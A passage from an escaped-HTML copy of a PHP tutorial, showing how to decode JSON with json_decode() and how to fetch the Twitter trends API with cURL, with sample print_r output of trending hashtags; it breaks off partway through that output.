follows:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_101402&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;lampstack&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;operatingsystem&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;: &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Linux&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;server&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;: &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Apache&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;database&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;: &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;MySQL&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;language&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;: &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;PHP&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

You can &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=14&quot;&gt;convert this to PHP&lt;/a&gt; using the &lt;code&gt;json_decode()&lt;/code&gt; method, and get it back as a PHP object:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_907888&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$json&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &#39;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;lampstack&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;operatingsystem&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Linux&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;server&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Apache&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;database&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;MySQL&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;language&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;:&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;PHP&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&#39;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;print_r(json_decode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$json&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;));&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;

One API that returns JSON is the &lt;a href=&quot;http://apiwiki.twitter.com/Twitter-Search-API-Method%3A-trends&quot;&gt;Twitter trends API&lt;/a&gt;. If you load the API&#39;s URL with cURL and do a &lt;code&gt;print_r()&lt;/code&gt; after &lt;code&gt;json_decode()&lt;/code&gt;, you &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=15&quot;&gt;get the following back&lt;/a&gt;:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_524440&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://search.twitter.com/trends.json&quot;&gt;http://search.twitter.com/trends.json&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= json_decode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;print_r(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_762006&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;[trends] =&gt; Array&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[0] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #nowplaying&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23nowplaying&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[1] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[name] =&gt; #Didntwannatellyou&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[url] =&gt; http:&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;//search.twitter.com/search?q=%23Didntwannatellyou&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[2] =&gt; stdClass Object&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
